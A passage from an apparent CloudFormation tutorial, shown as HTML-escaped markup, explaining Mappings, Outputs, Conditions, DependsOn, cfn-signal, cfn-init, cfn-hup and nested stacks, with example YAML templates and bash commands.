&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;VpcId: !ImportValue SharedInfra-VpcId
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;how-functions-compose&quot;&gt;How Functions Compose&lt;/h4&gt;
&lt;p&gt;The power comes from nesting. Functions can be composed:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;SecurityGroupId: !Select
  - 0
  - !Split [&quot;,&quot;, !ImportValue SharedInfra-SecurityGroupIds]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here: import a comma-separated string of security group IDs from another stack, split it into a list, then select the first one. Three functions, one clean result.&lt;/p&gt;
&lt;p&gt;This is not just syntax. It is the way CloudFormation templates become self-describing infrastructure documents that adapt to context.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;mappings&quot;&gt;Mappings&lt;/h3&gt;
&lt;h4 id=&quot;what-they-are-1&quot;&gt;What They Are&lt;/h4&gt;
&lt;p&gt;Mappings are lookup tables built into your template. They let you define a set of key-value pairs and then look up a value at deploy time based on known context like which region you are deploying to, or which environment was selected.&lt;/p&gt;
&lt;h4 id=&quot;structure&quot;&gt;Structure&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;Mappings:
  RegionAMIMap:
    us-east-1:
      AMI: ami-0c55b159cbfafe1f0
      BastionAMI: ami-0a887e401f7654935
    eu-west-1:
      AMI: ami-0d71ea30463e0ff49
      BastionAMI: ami-08d658f84a6d84a80
    ap-southeast-1:
      AMI: ami-01f7527546b557442
      BastionAMI: ami-0c5199d385b432989

  EnvironmentConfig:
    development:
      InstanceType: t3.micro
      MultiAZ: false
      DeletionProtection: false
    production:
      InstanceType: m5.large
      MultiAZ: true
      DeletionProtection: true
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;usage&quot;&gt;Usage&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;Resources:
  MyInstance:
    Type: AWS::EC2::Instance
    Properties:
      ImageId: !FindInMap [RegionAMIMap, !Ref AWS::Region, AMI]
      InstanceType: !FindInMap [EnvironmentConfig, !Ref EnvironmentName, InstanceType]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;!FindInMap&lt;/code&gt; takes three arguments: the map name, the top-level key, and the second-level key. It returns the value at that intersection.&lt;/p&gt;
&lt;h4 id=&quot;limitations&quot;&gt;Limitations&lt;/h4&gt;
&lt;p&gt;Mappings are static. They are baked into the template at write time. You cannot populate them dynamically at deploy time, and you cannot look up values in external systems like SSM Parameter Store.&lt;/p&gt;
&lt;p&gt;This means:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When an AMI is updated, you must update the mapping manually and redeploy.&lt;/li&gt;
&lt;li&gt;You cannot have a different mapping value per account without writing account IDs into the template.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For dynamic lookups, the solution is SSM Parameter Store with &lt;code&gt;AWS::SSM::Parameter::Value&amp;lt;String&amp;gt;&lt;/code&gt; parameter types, or Custom Resources (covered in section 19). The AWS-managed AMI parameter store path (&lt;code&gt;/aws/service/ami-amazon-linux-latest/al2023-ami-kernel-default-x86_64&lt;/code&gt;) is the standard way to always get the latest Amazon Linux AMI without hardcoding AMI IDs at all.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;outputs&quot;&gt;Outputs&lt;/h3&gt;
&lt;h4 id=&quot;what-they-are-2&quot;&gt;What They Are&lt;/h4&gt;
&lt;p&gt;Outputs are values that CloudFormation makes available after a stack is created or updated. They serve two purposes:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Visibility&lt;/strong&gt; Display useful information about what was created (endpoint URLs, resource IDs, ARNs).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cross-Stack References&lt;/strong&gt; Export a value so other stacks can import it.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&quot;structure-1&quot;&gt;Structure&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;Outputs:
  WebServerPublicIP:
    Description: Public IP address of the web server
    Value: !GetAtt MyWebServer.PublicIp

  LoadBalancerDNS:
    Description: DNS name for the application load balancer
    Value: !GetAtt MyALB.DNSName

  VpcId:
    Description: VPC ID for use by other stacks
    Value: !Ref MyVPC
    Export:
      Name: !Sub &quot;${AWS::StackName}-VpcId&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;when-to-use-export&quot;&gt;When to Use Export&lt;/h4&gt;
&lt;p&gt;Only add &lt;code&gt;Export&lt;/code&gt; when you intend for another stack to reference the value. Not every output needs to be exported. Exports create a dependency you cannot delete the exporting stack while any other stack is consuming its exports.&lt;/p&gt;
&lt;h4 id=&quot;what-would-happen-without-outputs&quot;&gt;What Would Happen Without Outputs&lt;/h4&gt;
&lt;p&gt;Without outputs, you would need to go into the AWS Console or run CLI commands to find the DNS name of your load balancer, the ID of your VPC, or the ARN of your IAM role. Outputs surface these values automatically after deployment, making them available to operators, pipelines, and other stacks.&lt;/p&gt;
&lt;p&gt;In a CI/CD pipeline:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# After CloudFormation deploy, grab the load balancer URL
ALB_URL=$(aws cloudformation describe-stacks \
  --stack-name my-app \
  --query &quot;Stacks[0].Outputs[?OutputKey=='LoadBalancerDNS'].OutputValue&quot; \
  --output text)

# Use it to run integration tests
curl -f &quot;http://$ALB_URL/health&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Outputs make your stack queryable. This is essential for automated pipelines.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;conditions&quot;&gt;Conditions&lt;/h3&gt;
&lt;h4 id=&quot;the-problem&quot;&gt;The Problem&lt;/h4&gt;
&lt;p&gt;You want one template that can deploy to both development and production, but the production environment needs a Multi-AZ RDS instance and an additional NAT Gateway, while development needs neither. Without conditions, you need two templates. With conditions, you need one.&lt;/p&gt;
&lt;h4 id=&quot;structure-2&quot;&gt;Structure&lt;/h4&gt;
&lt;p&gt;Conditions are defined in the &lt;code&gt;Conditions&lt;/code&gt; section and referenced in resources.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;Parameters:
  EnvironmentName:
    Type: String
    AllowedValues: [development, production]

Conditions:
  IsProduction: !Equals [!Ref EnvironmentName, production]
  IsNotProduction: !Not [!Condition IsProduction]

Resources:
  PrimaryDatabase:
    Type: AWS::RDS::DBInstance
    Properties:
      DBInstanceClass: !If [IsProduction, db.m5.large, db.t3.micro]
      MultiAZ: !If [IsProduction, true, false]
      DeletionProtection: !If [IsProduction, true, false]

  NATGateway:
    Type: AWS::EC2::NatGateway
    Condition: IsProduction
    Properties:
      SubnetId: !Ref PublicSubnet
      AllocationId: !GetAtt ElasticIP.AllocationId
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;Condition: IsProduction&lt;/code&gt; on &lt;code&gt;NATGateway&lt;/code&gt; means: only create this resource if &lt;code&gt;IsProduction&lt;/code&gt; is true. The &lt;code&gt;!If&lt;/code&gt; inside &lt;code&gt;PrimaryDatabase&lt;/code&gt; means: use different property values depending on the condition.&lt;/p&gt;
&lt;h4 id=&quot;condition-operators&quot;&gt;Condition Operators&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;Conditions:
  IsProduction: !Equals [!Ref Env, production]
  IsUS: !Equals [!Ref AWS::Region, us-east-1]
  
  # Both must be true
  IsProductionUS: !And
    - !Condition IsProduction
    - !Condition IsUS

  # Either must be true
  IsProductionOrUS: !Or
    - !Condition IsProduction
    - !Condition IsUS

  # Invert
  IsNotProduction: !Not [!Condition IsProduction]
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;limitation&quot;&gt;Limitation&lt;/h4&gt;
&lt;p&gt;Conditions are evaluated at deploy time. They cannot change during stack execution. You cannot create a condition that says &quot;if resource X was successfully created, then create resource Y&quot; that is what &lt;code&gt;DependsOn&lt;/code&gt; and &lt;code&gt;WaitConditions&lt;/code&gt; handle.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;dependson&quot;&gt;DependsOn&lt;/h3&gt;
&lt;h4 id=&quot;the-problem-1&quot;&gt;The Problem&lt;/h4&gt;
&lt;p&gt;CloudFormation builds resources in parallel where possible. It determines the order automatically by following &lt;code&gt;!Ref&lt;/code&gt; and &lt;code&gt;!GetAtt&lt;/code&gt; references if resource B references resource A, CloudFormation knows to create A first.&lt;/p&gt;
&lt;p&gt;But sometimes resource B does not reference resource A in its properties, yet it still needs A to exist before it can be created or function correctly. CloudFormation does not know about this implicit dependency, so it might try to create both simultaneously, and B fails because A is not ready.&lt;/p&gt;
&lt;h4 id=&quot;the-solution&quot;&gt;The Solution&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;DependsOn&lt;/code&gt; explicitly tells CloudFormation: do not start creating this resource until that resource is complete.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;Resources:
  MyVPC:
    Type: AWS::EC2::VPC
    Properties:
      CidrBlock: 10.0.0.0/16

  InternetGateway:
    Type: AWS::EC2::InternetGateway

  VPCGatewayAttachment:
    Type: AWS::EC2::VPCGatewayAttachment
    Properties:
      VpcId: !Ref MyVPC
      InternetGatewayId: !Ref InternetGateway

  PublicSubnet:
    Type: AWS::EC2::Subnet
    DependsOn: VPCGatewayAttachment
    Properties:
      VpcId: !Ref MyVPC
      CidrBlock: 10.0.1.0/24
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here, &lt;code&gt;PublicSubnet&lt;/code&gt; references &lt;code&gt;MyVPC&lt;/code&gt; via &lt;code&gt;!Ref&lt;/code&gt;, so CloudFormation knows it must wait for the VPC. But the subnet does not reference &lt;code&gt;VPCGatewayAttachment&lt;/code&gt; in its properties. Without &lt;code&gt;DependsOn&lt;/code&gt;, CloudFormation might create the subnet before the gateway is attached, and routing will not work correctly.&lt;/p&gt;
&lt;h4 id=&quot;a-more-common-use-case-rds-and-ec2&quot;&gt;A More Common Use Case — RDS and EC2&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;Resources:
  Database:
    Type: AWS::RDS::DBInstance
    Properties:
      DBInstanceClass: db.t3.micro
      Engine: mysql

  AppServer:
    Type: AWS::EC2::Instance
    DependsOn: Database
    Properties:
      UserData: !Base64
        !Sub |
          #!/bin/bash
          echo &quot;DB_HOST=${Database.Endpoint.Address}&quot; &amp;gt;&amp;gt; /etc/app/config
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;AppServer&lt;/code&gt; does reference &lt;code&gt;Database&lt;/code&gt; via &lt;code&gt;!Sub&lt;/code&gt;, which creates an implicit dependency. But &lt;code&gt;DependsOn&lt;/code&gt; is also good practice here you want the database to be fully ready before the application server boots and tries to connect.&lt;/p&gt;
&lt;h4 id=&quot;what-happens-without-it&quot;&gt;What Happens Without It&lt;/h4&gt;
&lt;p&gt;Without &lt;code&gt;DependsOn&lt;/code&gt; where it is needed, resources are created in the wrong order. The stack may still reach &lt;code&gt;CREATE_COMPLETE&lt;/code&gt; but your application may fail at runtime because the dependency was not ready when the dependent resource was configured.&lt;/p&gt;
&lt;h4 id=&quot;limitation-1&quot;&gt;Limitation&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;DependsOn&lt;/code&gt; only tells CloudFormation to wait until the resource &lt;em&gt;creation&lt;/em&gt; is complete. It does not tell CloudFormation to wait until the resource is &lt;em&gt;ready to serve traffic&lt;/em&gt; or until a process inside the resource has finished running. For that, you need Wait Conditions and cfn-signal.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;wait-conditions-and-cfn-signal&quot;&gt;Wait Conditions and cfn-signal&lt;/h3&gt;
&lt;h4 id=&quot;the-problem-that-dependson-cannot-solve&quot;&gt;The Problem That DependsOn Cannot Solve&lt;/h4&gt;
&lt;p&gt;CloudFormation considers an EC2 instance &quot;created&quot; the moment the API call to launch it succeeds. From CloudFormation's perspective, the resource is done. But the instance has not finished booting. The operating system is still starting. Your bootstrap script the one that installs your application, configures the web server, and starts your process is still running.&lt;/p&gt;
&lt;p&gt;If a second resource depends on the application being ready, &lt;code&gt;DependsOn&lt;/code&gt; is not enough. CloudFormation will proceed the moment the EC2 API reports success, not when your application is actually ready.&lt;/p&gt;
&lt;h4 id=&quot;the-solution-cfn-signal-and-waitconditions&quot;&gt;The Solution: cfn-signal and WaitConditions&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;cfn-signal&lt;/code&gt; is a script that runs inside your EC2 instance and sends a signal back to CloudFormation: &quot;I am done and I succeeded&quot; or &quot;I am done and I failed.&quot;&lt;/p&gt;
&lt;p&gt;A &lt;code&gt;WaitCondition&lt;/code&gt; is a CloudFormation resource that pauses the stack and waits for a specific number of signals before proceeding.&lt;/p&gt;
&lt;p&gt;Together, they let you tell CloudFormation: &quot;Wait until the bootstrap process inside the instance has finished before you continue creating other resources.&quot;&lt;/p&gt;
&lt;h4 id=&quot;how-it-works-step-by-step&quot;&gt;How It Works. Step by Step&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;You create an EC2 instance with a &lt;code&gt;UserData&lt;/code&gt; script that runs your bootstrap logic.&lt;/li&gt;
&lt;li&gt;At the end of the script, you call &lt;code&gt;cfn-signal&lt;/code&gt; to send a success or failure signal.&lt;/li&gt;
&lt;li&gt;CloudFormation sees the signal and either continues or fails the stack.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&quot;the-code&quot;&gt;The Code&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;Resources:
  WaitHandle:
    Type: AWS::CloudFormation::WaitConditionHandle

  WebServer:
    Type: AWS::EC2::Instance
    Properties:
      ImageId: !FindInMap [RegionAMIMap, !Ref AWS::Region, AMI]
      InstanceType: t3.micro
      UserData:
        !Base64
          !Sub |
            #!/bin/bash -xe
            # Install and configure application
            yum update -y
            yum install -y httpd
            systemctl start httpd
            systemctl enable httpd
            echo &quot;&amp;lt;h1&amp;gt;Hello from ${AWS::StackName}&amp;lt;/h1&amp;gt;&quot; &amp;gt; /var/www/html/index.html
            
            # Signal CloudFormation that bootstrap is complete
            /opt/aws/bin/cfn-signal -e $? \
              --stack ${AWS::StackName} \
              --resource WebServerWaitCondition \
              --region ${AWS::Region}

  WebServerWaitCondition:
    Type: AWS::CloudFormation::WaitCondition
    DependsOn: WebServer
    Properties:
      Handle: !Ref WaitHandle
      Timeout: 600
      Count: 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;-e $?&lt;/code&gt; passes the exit code of the last command. If the script ran successfully, &lt;code&gt;$?&lt;/code&gt; is &lt;code&gt;0&lt;/code&gt; CloudFormation receives a success signal. If the script failed, &lt;code&gt;$?&lt;/code&gt; is non-zero CloudFormation receives a failure signal, fails the wait condition, and rolls back the stack.&lt;/p&gt;
&lt;h4 id=&quot;what-happens-without-cfn-signal&quot;&gt;What Happens Without cfn-signal&lt;/h4&gt;
&lt;p&gt;Without signalling, CloudFormation marks the EC2 instance as &lt;code&gt;CREATE_COMPLETE&lt;/code&gt; the moment the API call succeeds typically within 10-15 seconds. Any resource that depends on the instance being fully configured will attempt to use it before it is ready. Load balancer health checks will fail. Downstream resources will misconfigure. Your application stack reaches &lt;code&gt;CREATE_COMPLETE&lt;/code&gt; in a broken state.&lt;/p&gt;
&lt;p&gt;This is the most common cause of &quot;CloudFormation says it worked but the application is not working&quot; problems.&lt;/p&gt;
&lt;h4 id=&quot;timeout&quot;&gt;Timeout&lt;/h4&gt;
&lt;p&gt;The &lt;code&gt;Timeout&lt;/code&gt; is in seconds. &lt;code&gt;600&lt;/code&gt; means CloudFormation will wait up to 10 minutes for the signal. If no signal arrives, the stack times out and rolls back. Size this based on how long your bootstrap realistically takes, with a comfortable buffer.&lt;/p&gt;
&lt;h4 id=&quot;limitation-2&quot;&gt;Limitation&lt;/h4&gt;
&lt;p&gt;cfn-signal handles the moment of creation well. But what about ongoing configuration? What if you need to update the instance configuration after the stack is deployed, or re-apply configuration if it drifts? For that, you need cfn-init.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;cloudformation-init-cfn-init-&quot;&gt;CloudFormation Init (cfn-init)&lt;/h3&gt;
&lt;h4 id=&quot;the-problem-with-userdata&quot;&gt;The Problem with UserData&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;UserData&lt;/code&gt; is a blunt instrument. It is a script that runs once at instance launch and that is it. If you update the CloudFormation template and the instance is not replaced, &lt;code&gt;UserData&lt;/code&gt; does not re-run. If the configuration drifts someone manually changes a file on the instance there is no way for CloudFormation to detect or correct it.&lt;/p&gt;
&lt;p&gt;Also, &lt;code&gt;UserData&lt;/code&gt; is imperative: you write step-by-step instructions. The result depends entirely on the starting state of the machine. If any step fails partway through, you have a half-configured instance with no clean way to recover.&lt;/p&gt;
&lt;h4 id=&quot;the-solution-cfn-init&quot;&gt;The Solution: cfn-init&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;cfn-init&lt;/code&gt; is a declarative configuration engine built into the CloudFormation helper tools. Instead of writing scripts that say &quot;run these commands,&quot; you declare the desired state: &quot;these packages should be installed, these files should exist with this content, these services should be running.&quot;&lt;/p&gt;
&lt;p&gt;Configuration is written in the &lt;code&gt;Metadata&lt;/code&gt; section of the resource using the &lt;code&gt;AWS::CloudFormation::Init&lt;/code&gt; key.&lt;/p&gt;
&lt;h4 id=&quot;structure-3&quot;&gt;Structure&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;Resources:
  WebServer:
    Type: AWS::EC2::Instance
    Metadata:
      AWS::CloudFormation::Init:
        config:
          packages:
            yum:
              httpd: []
              php: []

          files:
            /var/www/html/index.php:
              content: !Sub |
                &amp;lt;?php
                echo &quot;&amp;lt;h1&amp;gt;Environment: ${EnvironmentName}&amp;lt;/h1&amp;gt;&quot;;
                echo &quot;&amp;lt;p&amp;gt;Stack: ${AWS::StackName}&amp;lt;/p&amp;gt;&quot;;
                ?&amp;gt;
              mode: &quot;000644&quot;
              owner: apache
              group: apache

            /etc/httpd/conf.d/myapp.conf:
              content: |
                &amp;lt;VirtualHost *:80&amp;gt;
                    DocumentRoot /var/www/html
                    DirectoryIndex index.php
                &amp;lt;/VirtualHost&amp;gt;
              mode: &quot;000644&quot;
              owner: root
              group: root

          services:
            sysvinit:
              httpd:
                enabled: true
                ensureRunning: true
                files:
                  - /etc/httpd/conf.d/myapp.conf
                packages:
                  yum:
                    - httpd

    Properties:
      ImageId: !FindInMap [RegionAMIMap, !Ref AWS::Region, AMI]
      InstanceType: t3.micro
      UserData:
        !Base64
          !Sub |
            #!/bin/bash -xe
            # Run cfn-init to apply the configuration
            /opt/aws/bin/cfn-init -v \
              --stack ${AWS::StackName} \
              --resource WebServer \
              --region ${AWS::Region}
            
            # Signal success or failure
            /opt/aws/bin/cfn-signal -e $? \
              --stack ${AWS::StackName} \
              --resource WebServerWaitCondition \
              --region ${AWS::Region}

  WebServerWaitCondition:
    Type: AWS::CloudFormation::WaitCondition
    DependsOn: WebServer
    Properties:
      Handle: !Ref WaitHandle
      Timeout: 600
      Count: 1

  WaitHandle:
    Type: AWS::CloudFormation::WaitConditionHandle
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;the-four-cfn-init-keys&quot;&gt;The Four cfn-init Keys&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Key &lt;/th&gt;&lt;th&gt;What It Does&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;packages&lt;/code&gt; &lt;/td&gt;&lt;td&gt;Installs system packages via yum, apt, rpm, or other package managers&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;files&lt;/code&gt; &lt;/td&gt;&lt;td&gt;Creates files with specific content, permissions, and ownership&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;commands&lt;/code&gt; &lt;/td&gt;&lt;td&gt;Runs shell commands in a specific order with optional test conditions&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;services&lt;/code&gt; &lt;/td&gt;&lt;td&gt;Ensures services are started, enabled, and restarted when dependencies change&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id=&quot;configsets-ordering-multiple-configurations&quot;&gt;configSets Ordering Multiple Configurations&lt;/h4&gt;
&lt;p&gt;When you have complex configuration that needs to run in phases, use &lt;code&gt;configSets&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;Metadata:
  AWS::CloudFormation::Init:
    configSets:
      full_install:
        - install_cfn
        - install_base
        - install_app
        - configure_app

    install_cfn:
      files:
        /etc/cfn/cfn-hup.conf:
          content: !Sub |
            [main]
            stack=${AWS::StackId}
            region=${AWS::Region}
          mode: &quot;000400&quot;
          owner: root
          group: root

    install_base:
      packages:
        yum:
          httpd: []
          php: []
          php-mysqlnd: []

    install_app:
      files:
        /var/www/html/index.php:
          content: !Sub |
            &amp;lt;?php phpinfo(); ?&amp;gt;
          mode: &quot;000644&quot;
          owner: apache
          group: apache

    configure_app:
      services:
        sysvinit:
          httpd:
            enabled: true
            ensureRunning: true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then in &lt;code&gt;UserData&lt;/code&gt;, reference the configSet:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;/opt/aws/bin/cfn-init -v \
  --stack ${AWS::StackName} \
  --resource WebServer \
  --configsets full_install \
  --region ${AWS::Region}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;what-happens-without-cfn-init&quot;&gt;What Happens Without cfn-init&lt;/h4&gt;
&lt;p&gt;Without cfn-init, you rely entirely on &lt;code&gt;UserData&lt;/code&gt; scripts. These are harder to maintain, harder to debug, and run only once at launch. Configuration drift is invisible, and updating configuration requires replacing the instance. cfn-init makes your instance configuration as declarative and auditable as your infrastructure definition.&lt;/p&gt;
&lt;h4 id=&quot;limitation-3&quot;&gt;Limitation&lt;/h4&gt;
&lt;p&gt;cfn-init applies configuration at launch. It does not continuously monitor or re-apply configuration when the template changes, unless the instance is replaced. For tracking template changes and re-applying configuration without replacing instances, you need cfn-hup.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;cfn-hup&quot;&gt;cfn-hup&lt;/h3&gt;
&lt;h4 id=&quot;the-problem-cfn-init-alone-cannot-solve&quot;&gt;The Problem cfn-init Alone Cannot Solve&lt;/h4&gt;
&lt;p&gt;You update your CloudFormation template specifically, you change the content of a configuration file managed by cfn-init. You run &lt;code&gt;aws cloudformation update-stack&lt;/code&gt;. CloudFormation processes the update.&lt;/p&gt;
&lt;p&gt;If the EC2 instance is not being replaced (because the change does not require replacement only a metadata change), CloudFormation will not re-run cfn-init. The instance keeps running with the old configuration. The update completes, the stack reaches &lt;code&gt;UPDATE_COMPLETE&lt;/code&gt;, and your configuration is silently out of date.&lt;/p&gt;
&lt;h4 id=&quot;the-solution-cfn-hup&quot;&gt;The Solution: cfn-hup&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;cfn-hup&lt;/code&gt; is a daemon that runs on the instance and polls the CloudFormation stack for changes to the resource's metadata. When it detects a change, it re-runs cfn-init to apply the updated configuration.&lt;/p&gt;
&lt;p&gt;This gives you the ability to update instance configuration through CloudFormation without replacing the instance.&lt;/p&gt;
&lt;h4 id=&quot;how-to-set-it-up&quot;&gt;How to Set It Up&lt;/h4&gt;
&lt;p&gt;cfn-hup requires two configuration files on the instance, typically created via cfn-init itself:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;Metadata:
  AWS::CloudFormation::Init:
    configSets:
      full_install:
        - install_cfn
        - install_app

    install_cfn:
      files:
        /etc/cfn/cfn-hup.conf:
          content: !Sub |
            [main]
            stack=${AWS::StackId}
            region=${AWS::Region}
            interval=5
          mode: &quot;000400&quot;
          owner: root
          group: root

        /etc/cfn/hooks.d/cfn-auto-reloader.conf:
          content: !Sub |
            [cfn-auto-reloader-hook]
            triggers=post.update
            path=Resources.WebServer.Metadata.AWS::CloudFormation::Init
            action=/opt/aws/bin/cfn-init -v \
              --stack ${AWS::StackName} \
              --resource WebServer \
              --configsets full_install \
              --region ${AWS::Region}
            runas=root
          mode: &quot;000400&quot;
          owner: root
          group: root

      services:
        sysvinit:
          cfn-hup:
            enabled: true
            ensureRunning: true
            files:
              - /etc/cfn/cfn-hup.conf
              - /etc/cfn/hooks.d/cfn-auto-reloader.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;how-it-works-1&quot;&gt;How It Works&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;cfn-hup.conf&lt;/code&gt; tells cfn-hup which stack to watch and how often to poll (every 5 minutes in this example).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cfn-auto-reloader.conf&lt;/code&gt; tells cfn-hup what to do when it detects a change: watch the &lt;code&gt;Metadata.AWS::CloudFormation::Init&lt;/code&gt; path of the &lt;code&gt;WebServer&lt;/code&gt; resource, and when it changes, re-run cfn-init with the full configSet.&lt;/p&gt;
&lt;p&gt;When you update the template — change a file, add a package, modify a service — cfn-hup detects the metadata change within the poll interval and re-applies the full configuration to the running instance.&lt;/p&gt;
&lt;h4 id=&quot;the-complete-pattern&quot;&gt;The Complete Pattern&lt;/h4&gt;
&lt;p&gt;cfn-init, cfn-signal, and cfn-hup form a complete configuration management pattern:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;cfn-init&lt;/code&gt; applies configuration at launch&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cfn-signal&lt;/code&gt; tells CloudFormation that configuration is complete&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cfn-hup&lt;/code&gt; keeps configuration in sync with the template over time&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Together, they turn your EC2 instances into configuration-as-code managed infrastructure that stays synchronized with your CloudFormation templates without requiring replacement.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;nested-stacks&quot;&gt;Nested Stacks&lt;/h3&gt;
&lt;h4 id=&quot;the-problem-with-single-large-stacks&quot;&gt;The Problem with Single Large Stacks&lt;/h4&gt;
&lt;p&gt;A CloudFormation stack has a hard limit of 500 resources. But the real problem appears well before that limit.&lt;/p&gt;
&lt;p&gt;A template with 80+ resources becomes difficult to read, difficult to test, and difficult to reason about. Changes to one part of the template require updating and deploying the entire thing. Teams working on different parts of the infrastructure step on each other. Re-using patterns across projects is impossible because everything is in one monolithic file.&lt;/p&gt;
&lt;p&gt;This is the same problem that led software engineers to adopt functions, modules, and packages. The solution is the same: decomposition.&lt;/p&gt;
&lt;h4 id=&quot;the-solution-nested-stacks&quot;&gt;The Solution — Nested Stacks&lt;/h4&gt;
&lt;p&gt;A nested stack is a CloudFormation resource of type &lt;code&gt;AWS::CloudFormation::Stack&lt;/code&gt;. It references another CloudFormation template stored in S3 and deploys it as a child stack. The parent stack manages the lifecycle of its child stacks.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;Resources:
  NetworkStack:
    Type: AWS::CloudFormation::Stack
    Properties:
      TemplateURL: https://s3.amazonaws.com/mybucket/templates/network.yaml
      Parameters:
        EnvironmentName: !Ref EnvironmentName
        VpcCidr: 10.0.0.0/16
      TimeoutInMinutes: 20

  AppStack:
    Type: AWS::CloudFormation::Stack
    DependsOn: NetworkStack
    Properties:
      TemplateURL: https://s3.amazonaws.com/mybucket/templates/app.yaml
      Parameters:
        EnvironmentName: !Ref EnvironmentName
        VpcId: !GetAtt NetworkStack.Outputs.VpcId
        SubnetIds: !GetAtt NetworkStack.Outputs.SubnetIds
      TimeoutInMinutes: 30

  DatabaseStack:
    Type: AWS::CloudFormation::Stack
    DependsOn: NetworkStack
    Properties:
      TemplateURL: https://s3.amazonaws.com/mybucket/templates/database.yaml
      Parameters:
        SubnetIds: !GetAtt NetworkStack.Outputs.SubnetIds
        DBPassword: !Ref DBPassword
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The parent template is thin it orchestrates the child stacks and passes data between them via outputs and parameters. Each child template is a focused, independently testable unit.&lt;/p&gt;
&lt;h4 id=&quot;passing-data-between-nested-stacks&quot;&gt;Passing Data Between Nested Stacks&lt;/h4&gt;
&lt;p&gt;Notice &lt;code&gt;!GetAtt NetworkStack.Outputs.VpcId&lt;/code&gt;. This is how you pass data from one nested stack to another:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The &lt;code&gt;network.yaml&lt;/code&gt; template has an &lt;code&gt;Outputs&lt;/code&gt; section that exports &lt;code&gt;VpcId&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The parent references it via &lt;code&gt;!GetAtt NetworkStack.Outputs.VpcId&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The parent passes it as a parameter to &lt;code&gt;AppStack&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;# network.yaml Outputs section
Outputs:
  VpcId:
    Value: !Ref MyVPC
  SubnetIds:
    Value: !Join [&quot;,&quot;, [!Ref SubnetA, !Ref SubnetB]]
&lt;/code&gt;&lt;/pre&gt;
